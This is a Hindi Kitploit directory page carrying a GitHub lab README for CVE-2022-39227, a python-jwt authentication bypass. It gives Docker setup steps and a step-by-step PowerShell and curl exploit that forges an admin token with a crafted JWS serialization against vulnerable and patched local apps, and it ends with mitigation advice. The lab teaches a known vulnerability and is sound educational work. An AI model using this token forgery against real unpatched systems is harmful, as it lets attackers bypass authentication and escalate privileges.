Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2022-39227-jwt-auth-bypass-demo | Kitploit
उपकरण/GitHubGitHub/melikesraoz/cve-2022-39227-jwt-auth-bypass-demo
प्रमाणीकरण और प्राधिकरणभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षालैब और अभ्यास
GitHubmelikesraoz/cve-2022-39227-jwt-auth-bypass-demo

cve-2022-39227-jwt-auth-bypass-demo

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
13 महीने पहलेअभी तक समीक्षित नहीं

CVE-2022-39227 JWT प्रमाणीकरण बायपास डेमो

परियोजना लक्ष्य

यह परियोजना एक नियंत्रित स्थानीय प्रयोगशाला वातावरण में CVE-2022-39227 भेद्यता को प्रदर्शित करती है। यह भेद्यता python-jwt लाइब्रेरी (संस्करण < 3.3.4) को प्रभावित करती है और python-jwt तथा उसकी निर्भरता jwcrypto के बीच पार्सिंग असंगतता (JWS Serialization) का शोषण करके किसी हमलावर को गुप्त कुंजी जाने बिना JWT दावों को गढ़ने की अनुमति देती है।

प्रौद्योगिकियाँ

  • Python 3.9
  • Flask (वेब फ्रेमवर्क)
  • python-jwt 3.3.3 (भेद्य संस्करण)
  • python-jwt 3.3.4 (फिक्स्ड/पैच किया गया संस्करण)
  • Docker और Docker Compose

परियोजना वास्तुकला

यह परियोजना Docker का उपयोग करके दो समान Flask अनुप्रयोगों को चालू करती है, जो केवल उनके निर्भरता संस्करणों से अलग होते हैं:

  • पोर्ट 5000: भेद्य ऐप (python-jwt==3.3.3)
  • पोर्ट 5001: पैच किया गया ऐप (python-jwt==3.3.4)

दोनों अनुप्रयोग एक सरल रोल-आधारित एक्सेस नियंत्रण (RBAC) लागू करते हैं। एक सामान्य उपयोगकर्ता (alice) लॉग इन कर सकता है और JWT प्राप्त कर सकता है। केवल वे उपयोगकर्ता जिनके JWT दावे में admin भूमिका है, /admin एंडपॉइंट तक पहुंच सकते हैं।


🚀 सेटअप और निष्पादन

1. पर्यावरण प्रारंभ करें सुनिश्चित करें कि Docker Desktop चल रहा है, फिर निष्पादित करें:

root@kitploit:~
docker-compose up -d --build

यह भेद्य और फिक्स्ड दोनों सर्वरों को बैकग्राउंड में प्रारंभ कर देगा।


🛠 हमला डेमो (PowerShell चरण-दर-चरण)

हमले को दोहराने के लिए, आप PowerShell में मैन्युअल रूप से कच्चे HTTP अनुरोध और पेलोड हेरफेर निष्पादित करेंगे। यह प्रदर्शित करता है कि भेद्यता प्रोटोकॉल और लाइब्रेरी की पार्सिंग लॉजिक के भीतर है, किसी बाहरी उपकरण में नहीं।

चरण 1: लॉग इन करें और एक मान्य टोकन प्राप्त करें

root@kitploit:~
$response = Invoke-RestMethod -Uri "http://localhost:5000/login" -Method Post -Body '{"username":"alice","password":"alice123"}' -ContentType "application/json"
$token = $response.token

चरण 2: JWT को घटकों में विभाजित करें

root@kitploit:~
$parts = $token.Split('.')
$header = $parts[0]
$payload = $parts[1]
$signature = $parts[2]

चरण 3: पेलोड को डिकोड करें, भूमिका संशोधित करें, और Base64Url में पुनः एन्कोड करें

root@kitploit:~
# Decode original payload
$decodedPayload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload.PadRight($payload.Length + (4 - $payload.Length % 4) % 4, '=').Replace('-', '+').Replace('_', '/')))

# Change role from "user" to "admin"
$modPayload = $decodedPayload -replace '"role":"user"','"role":"admin"'

# Encode modified payload back to Base64Url
$modPayloadB64 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($modPayload)).TrimEnd('=').Replace('+', '-').Replace('/', '_')

चरण 4: दुर्भावनापूर्ण JWS सीरियलाइज़ेशन प्रारूप बनाएं

root@kitploit:~
$forged_token = '{{"{0}.{1}":"","protected":"{0}","payload":"{2}","signature":"{3}"}}' `
  -f $header, $modPayloadB64, $payload, $signature
$forged_token_escaped = $forged_token -replace '"', '\"'

चरण 5: दोनों सर्वरों पर हमला निष्पादित करें

root@kitploit:~
# Attack Vulnerable Server (Port 5000) -> SUCCESS
curl.exe -s -X GET http://localhost:5000/admin -H "Authorization: Bearer $forged_token_escaped"

# Attack Fixed Server (Port 5001) -> BLOCKED (Invalid token format)
curl.exe -s -X GET http://localhost:5001/admin -H "Authorization: Bearer $forged_token_escaped"

🛡 शमन

python-jwt को संस्करण 3.3.4 या उसके बाद के संस्करण में अपग्रेड करें। इसके अतिरिक्त, अनुप्रयोगों को कड़ी हस्ताक्षर सत्यापन लागू करना चाहिए और जब भी संभव हो, पेलोड अखंडता को सीधे अनुप्रयोग के लॉजिक परत के माध्यम से सत्यापित करना चाहिए।

नैतिक दायरा

यह परियोजना शैक्षिक उद्देश्यों के लिए कड़ाई से एक स्थानीय, नियंत्रित प्रयोगशाला वातावरण में संचालित की गई थी। किसी तृतीय-पक्ष प्रणाली, सार्वजनिक सेवा, या वास्तविक उपयोगकर्ता खाते को लक्षित नहीं किया गया।

टूल डाउनलोड करें